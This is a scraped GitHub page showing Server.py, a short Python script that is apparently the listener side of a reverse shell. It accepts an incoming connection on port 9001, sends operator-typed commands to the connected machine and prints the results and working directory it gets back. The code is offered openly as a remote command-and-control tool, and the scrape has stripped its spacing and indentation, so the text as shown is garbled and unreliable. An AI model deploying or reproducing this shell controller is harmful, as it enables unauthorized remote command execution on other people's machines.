Uh oh!
There was an error while loading. Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathServer.py
More file actions
Latest commit
37 lines (23 loc) · 1.28 KB
/
Copy pathServer.py
File metadata and controls
37 lines (23 loc) · 1.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
importsocket
HOST="0.0.0.0"# Hardcoded to listen on all interfaces. Improvement ideas: Take this value from commandline
PORT=9001# Hardcoded Port. Improvement idea: Take this value from commandline
MESSAGE_SIZE=1024*128# size of messages. Can be anything. 1024 = 1kb. 1024 * 128 = 128kb
SEPERATOR='<sep>'# seperator for sen ding multiple messages at once
s=socket.socket() # Create socket object
s.bind((HOST, PORT)) # bind socket to specified host and port
s.listen(5) # start listening
print(f"Waiting for connections...")
client_socket, client_address=s.accept() # handle new incoming connections
print(f"New connection from {client_address[0]}:{client_address[1]}")
cwd=client_socket.recv(MESSAGE_SIZE).decode() # recieve initial message with client cwd
print("[+] Current Working Directory: ", cwd)
whileTrue:
cmd=input(f"{cwd} $> ") # take command from cli
ifnotcmd.strip(): # if empty command
continue
client_socket.send(cmd.encode()) # send cmd to client
ifcmd.lower() =="exit": #if cmd is exit
break
output=client_socket.recv(MESSAGE_SIZE).decode() # recieve and decode command results
results, cwd=output.split(SEPERATOR) # split cwd and results
print(results)